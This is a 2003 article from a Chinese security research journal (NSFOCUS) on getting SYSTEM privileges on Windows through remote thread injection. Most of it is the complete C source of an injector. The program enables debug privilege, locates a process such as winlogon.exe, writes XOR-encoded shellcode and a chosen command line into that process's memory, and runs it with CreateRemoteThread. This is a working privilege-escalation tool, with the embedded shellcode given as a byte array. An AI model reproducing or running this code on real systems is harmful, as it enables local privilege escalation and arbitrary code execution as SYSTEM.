首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第45期->技术专题
期刊号: 类型: 关键词:
远程线程注入版获取SYSTEM权限

作者:scz <scz at nsfocus.com>
主页:http://www.nsfocus.com
日期:2003-11-07

前段时间写<<exploit系列(6)--x86/Windows平台上的缓冲区溢出>>,其间涉及远程
线程注入,想到本篇,返回来补充一点内容。sysproc_now.c并不具备良好的可移植
性,为了区分2000/XP/2003,被迫用GetVersionEx()做精确的OS版本判断。相较之下
远程线程注入更易移植些。

如果试图向winlogon.exe进行远程线程注入,编程时需要指定恰当的WindowStation,
否则可能无法与派生的子进程正常交互。

在MSDN中查看GetProcessWindowStation、GetUserObjectInformation等相关函数。

参看Inside 2K([7])第五章的"Interactive Services"小节。

使用终端服务测试CreateRemoteThread_1.c时,可能得到如下错误信息:

"CreateRemoteThread() failed: 存储空间不足,无法处理此命令"

在主控台上测试则一切正常。开始以为是WindowStation的问题,转而动态获取其名
称,错误信息依旧。后来才想起MSDN中有如下信息:

Terminal Services isolates each terminal session by design. Therefore,
CreateRemoteThread fails if the target process is in a different session
than the calling process.

暂不清楚是否有办法解决,如果没有办法解决,那sysproc_now.c还有存在的必要。

--------------------------------------------------------------------------
/*
* Copyright (C) 2002, 2012
* The NSFOCUS INFORMATION TECHNOLOGY CO.,LTD.
* -----------------------------------------------------------------------
* Author   : NSFocus Security Team <security@nsfocus.com>
*          : http://www.nsfocus.com
* Maintain : scz <scz@nsfocus.com>
* Version  : 2.02
* Compile  : For x86/EWindows XP SP1 & VC 7
*          : cl CreateRemoteThread_1.c /nologo /Os /G6 /Gs65536 /W3 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /MT /link /RELEASE
*          :
* Create   : 2003-10-08 13:37
* Modify   : 2003-10-08 17:02
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/

/************************************************************************
*                                                                      *
*                               Head File                              *
*                                                                      *
************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

/************************************************************************
*                                                                      *
*                               Macro                                  *
*                                                                      *
************************************************************************/

#pragma comment( linker, "/INCREMENTAL:NO"    )
#pragma comment( linker, "/subsystem:console" )
#pragma comment( lib,    "kernel32.lib"       )
#pragma comment( lib,    "advapi32.lib"       )

#define VERSION     "2.02"
#define MAXBUFLEN   8192
#define CHARBASE    'A'
#define CHARESCAPE  '_'
#define CHARXOR     '^'

typedef LONG NTSTATUS;

#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG KPRIORITY;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemProcessesAndThreadsInformation = 5
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESSES
{
    ULONG          NextEntryDelta;
    ULONG          ThreadCount;
    ULONG          Reserved1[6];
    LARGE_INTEGER  CreateTime;
    LARGE_INTEGER  UserTime;
    LARGE_INTEGER  KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY      BasePriority;
    ULONG          ProcessId;
    ULONG          InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

typedef ULONG    ( __stdcall *RTLNTSTATUSTODOSERROR    ) ( IN NTSTATUS Status );
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );

/************************************************************************
*                                                                      *
*                            Function Prototype                        *
*                                                                      *
************************************************************************/

static size_t           bufencode
(
    unsigned char *src,
    unsigned char *dst,
    size_t         srclen
);
static BOOL             DisableCurrentProcessDebugPrivilege
(
    void
);
static BOOL             EnableCurrentProcessDebugPrivilege
(
    void
);
static DWORD            GetPidFromProcessName
(
    wchar_t *ProcessName
);
static BOOL             LocateNtdllEntry
(
    void
);
static DWORD  __stdcall PnameToPid
(
    char *ProcessName
);
static void             PrintWin32ErrorCUI
(
    char  *message,
    DWORD  dwMessageId
);
static void             PrintZwErrorCUI
(
    char     *message,
    NTSTATUS  status
);
static BOOL             SetCurrentProcessPrivilege
(
    LPCTSTR PrivilegeName,
    BOOL    EnableFlag
);
static BOOL             SetPrivilege
(
    HANDLE  TokenHandle,
    LPCTSTR PrivilegeName,
    BOOL    EnableFlag
);
static void             usage
(
    char *arg
);

/************************************************************************
*                                                                      *
*                            Static Global Var                         *
*                                                                      *
************************************************************************/

static RTLNTSTATUSTODOSERROR    RtlNtStatusToDosError    = NULL;
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

static unsigned char            code[]                   =
"\xEB\x19\x5E\x8B\xFE\x33\xD2\xFC\xAC\x3A\xC2\x74\x13\x3C\x5F\x74"
"\x05\x34\x5E\xAA\xEB\xF2\xAC\x2C\x41\xEB\xF6\xE8\xE2\xFF\xFF\xFF"
"\xB7\x8F\x5F\xA0\x5E\x5E\x0B\xD5\xB2\x0F\xDD\x3B\xA2\x5E\xD5\x1B"
"\x56\x51\xE0\x5E\xDB\x9E\x2A\x7C\xD5\x1B\xA2\x9F\xBE\x5B\xD5\x13"
"\xA2\x9F\xB7\x45\x55\x9F\xD5\x13\x56\x51\xE0\x57\x5D\x9F\xD7\x1B"
"\xA2\xD5\x1B\x56\x1E\xD7\x1B\x56\xB5\x8A\xD5\x1B\xA2\x97\x9C\x5A"
"\x5E\x0B\xD5\xB2\xDD\xB2\x06\x34\x1A\xD3\x1B\xF6\x0E\xB6\xBD\x5E"
"\x5E\x5E\x99\x1B\xF6\x1A\x5E\x5E\x5E\x99\x1B\x8A\x5F\xA0\x5E\x5E"
"\x5E\xD5\x1B\x4E\xD7\x1B\xEE\x38\x99\x1B\x86\x5F\xA0\x5E\xA1\x2B"
"\x4E\xB6\xCF\x5E\x5E\x5E\xD5\x13\x4E\xD3\x1A\x5F\xA0\x5F\xA0\xD7"
"\x1B\x4E\xD3\x1B\xAE\x0E\xD3\x1B\xF6\x0E\x34\x5E\x34\x5E\x36\x4E"
"\x5C\x5E\x5E\x34\x5F\xA0\x34\x5E\x34\x5E\xA1\x2B\x4E\x34\x5E\xA1"
"\x0B\x56\xDB\x9E\x2A\x52\xA1\x2B\xAA\xA1\x0B\x52\xA1\x2B\xAE\xA1"
"\x0B\x52\x97\x9C\x52\x5E\x0B\xD5\xB2\x0F\x0F\xD5\x1B\x42\xD7\x1B"
"\xA6\xDD\x3B\xA2\x5E\xB5\x59\xD5\x1B\xA2\x1E\xD7\x1B\xA2\xD5\x1B"
"\xA2\x65\x1B\x7E\x2D\x73\xD5\x1B\xA6\xA1\x6E\xA1\x2B\x46\xA1\x2B"
"\x4A\xA1\x2B\x4E\xA1\x2B\x52\xA1\x2B\x56\xB6\x29\x5E\x5E\x5E\xD5"
"\x13\xA2\xD5\x0B\x7A\xD7\x5A\xD4\xD5\x1B\xA6\xDD\x9E\x5A\xD7\x1B"
"\xA6\xB5\x9A\xD5\x1B\xA6\x97\x9C\x7E\x5E\x0B\xD5\xB2\x0F\x0F\xDD"
"\x3B\xA6\x5E\xD5\x1B\x56\xD7\x1B\xA2\xD5\x1B\xA2\x51\xE0\x5E\xD5"
"\x13\xA2\x1F\xD7\x13\xA2\xDB\x9E\x2A\x57\xD5\x1B\xA6\x1E\xD7\x1B"
"\xA6\xB5\xB8\xD5\x1B\xA6\x97\x9C\x5A\x5E\x0B\xD5\xB2\x0F\xDD\x3B"
"\xA2\x5E\xB5\x59\xD5\x1B\xA2\x1E\xD7\x1B\xA2\xD5\x1B\xA2\x65\x1B"
"\x52\x2D\x51\xD5\x1B\x56\xDE\x7E\x5E\xD5\x1B\x56\x1E\xD7\x1B\x56"
"\xB5\xBC\x97\x9C\x56\x5E\x0B\xD5\xB2\xDD\xB2\x4E\xDD\x3B\xA6\x5E"
"\xDD\x3B\xA2\x5E\xDD\x3B\xAA\x5E\xDD\x3B\xAE\x5E\xDD\x3B\xA6\x5E"
"\xB5\x59\xD5\x1B\xA6\x1E\xD7\x1B\xA6\xD5\x1B\xA6\x65\x1B\x46\x2D"
"\x1B\xD5\x1B\xA6\xD5\x13\x4E\xD5\x0B\x56\x5D\x4A\xDF\xD7\x0B\xAA"
"\xA1\x2B\xAA\xB6\x3D\xA0\xA1\xA1\xD7\x1B\xA2\xD5\x1B\xA2\x65\x1B"
"\x42\x2B\x7F\xD5\x1B\xA6\xD5\x13\x4A\x51\xE9\x5A\x1F\xD7\x1B\xA6"
"\xD5\x1B\xA6\xD5\x13\x52\xD5\x0B\x56\x5D\x4A\xDF\xD7\x0B\xAE\xD5"
"\x1B\xAE\xB5\x5A\xB5\xF2\x6D\x9E\x97\x9C\x46\x5E\x0B\xD5\xB2\xDD"
"\xB2\x66\xDD\x3B\xB2\x5E\xDD\x3B\xA2\x5E\xDD\x3B\xBE\x5E\xDD\x3B"
"\x8A\x5E\xDD\x3B\x86\x5E\xDD\x3B\xAE\x5E\xDD\x3B\xAA\x5E\xDD\x3B"
"\x82\x5E\xDD\x3B\xA6\x5E\xDD\x3B\x96\x5E\xDD\x3B\xB6\x5E\xDD\x3B"
"\xBA\x5E\xB7\xEF\x5E\x5E\x5E\xD1\x1B\xBA\xE6\xB7\xDC\x1E\x5E\x73"
"\xB9\xDC\x1E\x5E\x5F\xA0\x1B\xBA\x3A\xFF\x6E\x5E\x5E\x5E\xD7\x1B"
"\xB2\xD5\x1B\xB2\xD5\x1E\x52\xD7\x1B\xA2\xD5\x1B\xA2\xD5\x1E\x42"
"\xD7\x1B\xBE\xD5\x1B\xBE\xD5\x5E\xD7\x1B\xBE\xD5\x1B\xBE\xD5\x1E"
"\x56\xD7\x1B\x8A\xD5\x1B\x8A\xD5\x1E\x62\xD7\x1B\xB6\xD5\x1B\x8A"
"\x5D\x1B\xB6\xD5\x13\x8A\x5D\x16\x26\xD7\x13\x86\xD5\x1B\x86\xD5"
"\x1E\x46\xD7\x1B\xAE\xD5\x1B\x86\xD5\x1E\x42\x5D\x1B\x8A\xD7\x1B"
"\xAA\xD5\x1B\x86\xD5\x1E\x7E\x5D\x1B\x8A\xD7\x1B\x82\xD5\x1B\x86"
"\xD5\x1E\x7A\x5D\x1B\x8A\xD7\x1B\x96\xD3\x1B\x92\x0E\x34\x5C\xA1"
"\x2B\xBA\xA1\x2B\xAE\xA1\x2B\x96\xA1\x2B\x82\xA1\x2B\xAA\xA1\x2B"
"\x8A\xB6\x5F\xA0\xA0\xA1\xA1\xD7\x1B\xBA\xA1\x2B\xBA\xA1\x2B\x8E"
"\xA1\x2B\x92\xB6\xDE\xA3\xA1\xA1\xB5\x5B\xB6\x14\xA1\xA1\xA1\x97"
"\x9D\x95\x1C\x29\xE6\xC8\xCE\x3C\x89\x09\x37\x30\x0D\x2A\x3F\x6E"
"\x02\x1A\x3B\x38\x3F\x2B\x32\x2A\x5E";

/************************************************************************/

static size_t bufencode ( unsigned char *src, unsigned char *dst, size_t srclen )
{
    unsigned char c;
    size_t        i, j;

    for ( i = 0, j = 0; i < srclen; i++, j++ )
    {
        dst[j] = src[i] ^ CHARXOR;
        c      = dst[j];
        if ( 0x00 == c || CHARESCAPE == c )
        {
            dst[j] = CHARESCAPE;
            j++;
            dst[j] = c + CHARBASE;
        }
    }
    return( j );
}  /* end of bufencode */

static BOOL DisableCurrentProcessDebugPrivilege ( void )
{
    return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, FALSE ) );
}  /* end of DisableCurrentProcessDebugPrivilege */

static BOOL EnableCurrentProcessDebugPrivilege ( void )
{
    return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, TRUE ) );
}  /* end of EnableCurrentProcessDebugPrivilege */

static DWORD GetPidFromProcessName ( wchar_t *ProcessName )
{
    NTSTATUS          status;
    PVOID             buf   = NULL;
    ULONG             size  = 1;
    PSYSTEM_PROCESSES proc  = NULL;
    ULONG             delta = 0;
    DWORD             pid   = 0;

    for ( size = 1; ; size *= 2 )
    {
        if ( NULL == ( buf = calloc( size, 1 ) ) )
        {
            fprintf( stderr, "calloc( %u, 1 ) failed\n", size );
            goto GetPidFromProcessName_exit;
        }
        status = ZwQuerySystemInformation( SystemProcessesAndThreadsInformation, buf, size, NULL );
        if ( !NT_SUCCESS( status ) )
        {
            if ( STATUS_INFO_LENGTH_MISMATCH == status )
            {
                free( buf );
                buf = NULL;
            }
            else
            {
                PrintZwErrorCUI( "ZwQuerySystemInformation() failed", status );
                goto GetPidFromProcessName_exit;
            }
        }
        else
        {
            break;
        }
    }  /* end of for */
    proc = ( PSYSTEM_PROCESSES )buf;
    do
    {
        if ( NULL != proc->ProcessName.Buffer )
        {
            if ( 0 == _wcsicmp( ProcessName, proc->ProcessName.Buffer ) )
            {
                pid = proc->ProcessId;
                break;
            }
        }
        delta = proc->NextEntryDelta;
        proc  = ( PSYSTEM_PROCESSES )( ( char * )proc + delta );
    }
    while ( 0 != delta );

GetPidFromProcessName_exit:

    if ( buf != NULL )
    {
        free( buf );
        buf = NULL;
    }
    return( pid );
}  /* end of GetPidFromProcessName */

static BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;

    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
        return( ret );
    }
    if ( !( RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
                                    (
                                        ntdll_dll,
                                        "RtlNtStatusToDosError"
                                    ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress
                                       (
                                           ntdll_dll,
                                           "ZwQuerySystemInformation"
                                       ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    ntdll_dll = NULL;
    return( ret );
}  /* end of LocateNtdllEntry */

static DWORD __stdcall PnameToPid ( char *ProcessName )
{
    int     i;
    WCHAR  *ProcessNameW = NULL;
    DWORD   Pid          = 0;

    i = MultiByteToWideChar
        (
            CP_ACP,
            0,
            ProcessName,
            ( int )( strlen( ProcessName ) + 1 ),
            NULL,
            0
        );
    if ( 0 == i )
    {
        PrintWin32ErrorCUI( "MultiByteToWideChar() failed [0]", GetLastError() );
        goto InjectCodeToProcessByName_exit;
    }
    ProcessNameW = ( WCHAR * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, i * sizeof( WCHAR ) );
    if ( NULL == ProcessNameW )
    {
        PrintWin32ErrorCUI( "HeapAlloc() failed", ERROR_NOT_ENOUGH_MEMORY );
        goto InjectCodeToProcessByName_exit;
    }
    if ( 0 == MultiByteToWideChar
              (
                  CP_ACP,
                  0,
                  ProcessName,
                  ( int )( strlen( ProcessName ) + 1 ),
                  ProcessNameW,
                  i
              ) )
    {
        PrintWin32ErrorCUI( "MultiByteToWideChar() failed [1]", GetLastError() );
        goto InjectCodeToProcessByName_exit;
    }
    wprintf( L"%s\n", ProcessNameW );
    if ( 0 == ( Pid = GetPidFromProcessName( ProcessNameW ) ) )
    {
        fprintf( stderr, "GetPidFromProcessName() failed\n" );
        goto InjectCodeToProcessByName_exit;
    }

InjectCodeToProcessByName_exit:

    if ( NULL != ProcessNameW )
    {
        HeapFree( GetProcessHeap(), 0, ProcessNameW );
        ProcessNameW = NULL;
    }
    return( Pid );
}  /* end of PnameToPid */

static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        dwMessageId,
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    fprintf( stderr, "%s: %s", message, errMsg );
    LocalFree( errMsg );
    return;
}  /* end of PrintWin32ErrorCUI */

static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        RtlNtStatusToDosError( status ),
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    fprintf( stderr, "%s: %s", message, errMsg );
    LocalFree( errMsg );
    return;
}  /* end of PrintZwErrorCUI */

static BOOL SetCurrentProcessPrivilege ( LPCTSTR PrivilegeName, BOOL EnableFlag )
{
    HANDLE TokenHandle = ( HANDLE )-1;
    BOOL   ret         = TRUE;

    if ( FALSE == OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle ) )
    {
        PrintWin32ErrorCUI( "OpenProcessToken() failed", GetLastError() );
        ret = FALSE;
        goto SetCurrentProcessPrivilege_exit;
    }
    ret = SetPrivilege( TokenHandle, PrivilegeName, EnableFlag );

SetCurrentProcessPrivilege_exit:

    if ( TokenHandle != ( HANDLE )-1 )
    {
        CloseHandle( TokenHandle );
        TokenHandle = ( HANDLE )-1;
    }
    return( ret );
}  /* end of SetCurrentProcessPrivilege */

static BOOL SetPrivilege ( HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag )
{
    DWORD            error;
    BOOL             ret = FALSE;
    TOKEN_PRIVILEGES tp  =
    {
        1,
        {
            { { 0, 0 }, 0 }
        }
    };

    if ( TRUE == EnableFlag )
    {
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    }
    if ( FALSE == LookupPrivilegeValue( NULL, PrivilegeName, &tp.Privileges[0].Luid ) )
    {
        PrintWin32ErrorCUI( "LookupPrivilegeValue() failed", GetLastError() );
        goto SetPrivilege_exit;
    }
    if ( FALSE == AdjustTokenPrivileges( TokenHandle, FALSE, &tp, sizeof( tp ), NULL, NULL ) )
    {
        PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", GetLastError() );
        goto SetPrivilege_exit;
    }
    else
    {
        error = GetLastError();
        if ( ERROR_SUCCESS != error )
        {
            PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", error );
            goto SetPrivilege_exit;
        }
    }
    ret = TRUE;

SetPrivilege_exit:

    return( ret );
}  /* end of SetPrivilege */

static void usage ( char *arg )
{
    fprintf
    (
        stderr,
        "Usage: %s [-h] [-v] [-c cmdline] [-p pid] [-q pname]\n",
        arg
    );
    exit( EXIT_FAILURE );
}  /* end of usage */

int __cdecl main ( int argc, char * argv[] )
{
    int                      ret        = EXIT_FAILURE,
                             c;
    HANDLE                   hProcess   = NULL,
                             hThread    = NULL;
    char                    *cmdline    = NULL;
    DWORD                    pid        = 0;
    char                    *pname      = NULL;
    LPVOID                   remotebuf  = NULL;
    unsigned char            buf[MAXBUFLEN];
    size_t                   j;

    if ( 1 == argc )
    {
        usage( argv[0] );
    }
    for ( c = 1; c < argc; c++ )
    {
        if ( ( ( argv[c][0] != '-' ) && ( argv[c][0] != '/' ) ) || ( strlen( argv[c] ) < 2 ) )
        {
            usage( argv[0] );
        }
        else
        {
            switch ( tolower( argv[c][1] ) )
            {
            case 'c':
                if ( ( c + 1 ) >= argc )
                {
                    usage( argv[0] );
                }
                cmdline = argv[++c];
                break;
            case 'p':
                if ( ( c + 1 ) >= argc )
                {
                    usage( argv[0] );
                }
                pid     = ( DWORD )strtoul( argv[++c], NULL, 0 );
                break;
            case 'q':
                if ( ( c + 1 ) >= argc )
                {
                    usage( argv[0] );
                }
                pname   = argv[++c];
                break;
            case 'v':
                fprintf( stderr, "%s ver "VERSION"\n", argv[0] );
                return( EXIT_SUCCESS );
            case 'h':
            case '?':
            default:
                usage( argv[0] );
                break;
            }  /* end of switch */
        }
    }  /* end of for */
    if ( NULL == cmdline )
    {
        fprintf( stderr, "Checking your [-c cmdline]\n" );
        return( ret );
    }
    if ( 0 == pid && NULL == pname )
    {
        fprintf( stderr, "Checking your [-p pid] [-q pname]\n" );
        return( ret );
    }
    EnableCurrentProcessDebugPrivilege();
    ZeroMemory( buf, sizeof( buf ) );
    j  = strlen( code );
    memcpy( buf, code, j );
    j += bufencode( cmdline, buf + j, strlen( cmdline ) + 1 ) + 1;
    if ( FALSE == LocateNtdllEntry() )
    {
        fprintf( stderr, "LocateNtdllEntry() failed\n" );
        goto main_exit;
    }
    if ( NULL != pname )
    {
        pid = PnameToPid( pname );
    }
    if ( 0 == pid )
    {
        fprintf( stderr, "Checking your [-p pid] [-q pname]\n" );
        goto main_exit;
    }
    else
    {
        printf( "pid                   = %u\n", pid );
    }
    hProcess  = OpenProcess
                (

                    PROCESS_CREATE_THREAD     |
                    PROCESS_QUERY_INFORMATION |
                    PROCESS_VM_OPERATION      |
                    PROCESS_VM_READ           |
                    PROCESS_VM_WRITE,
                    FALSE,
                    pid
                );
    if ( NULL == hProcess )
    {
        PrintWin32ErrorCUI( "OpenProcess() failed", GetLastError() );
        goto main_exit;
    }
    remotebuf = VirtualAllocEx
                (
                    hProcess,
                    NULL,
                    j,
                    MEM_COMMIT,
                    PAGE_EXECUTE_READWRITE
                );
    if ( NULL == remotebuf )
    {
        PrintWin32ErrorCUI( "VirtualAllocEx() failed", GetLastError() );
        goto main_exit;
    }
    if ( 0 == WriteProcessMemory
              (
                  hProcess,
                  remotebuf,
                  buf,
                  j,
                  NULL
              ) )
    {
        PrintWin32ErrorCUI( "WriteProcessMemory() failed", GetLastError() );
        goto main_exit;
    }
    hThread = CreateRemoteThread
              (
                  hProcess,
                  NULL,
                  0,
                  ( LPTHREAD_START_ROUTINE )remotebuf,
                  NULL,
                  0,
                  NULL
              );
    if ( NULL == hThread )
    {
        PrintWin32ErrorCUI( "CreateRemoteThread() failed", GetLastError() );
        goto main_exit;
    }
    if ( WAIT_FAILED == WaitForSingleObject( hThread, INFINITE ) )
    {
        PrintWin32ErrorCUI( "WaitForSingleObject() failed", GetLastError() );
        goto main_exit;
    }
    printf( "\nYou should see this message\n" );
    ret = EXIT_SUCCESS;

main_exit:

    if ( NULL != hThread )
    {
        CloseHandle( hThread );
        hThread = NULL;
    }
    if ( NULL != hProcess )
    {
        if ( NULL != remotebuf )
        {
            VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
            remotebuf = NULL;
        }
        CloseHandle( hProcess );
        hProcess = NULL;
    }
    DisableCurrentProcessDebugPrivilege();
    return( ret );
}  /* end of main */

/************************************************************************/

--------------------------------------------------------------------------
版权所有,未经许可,不得转载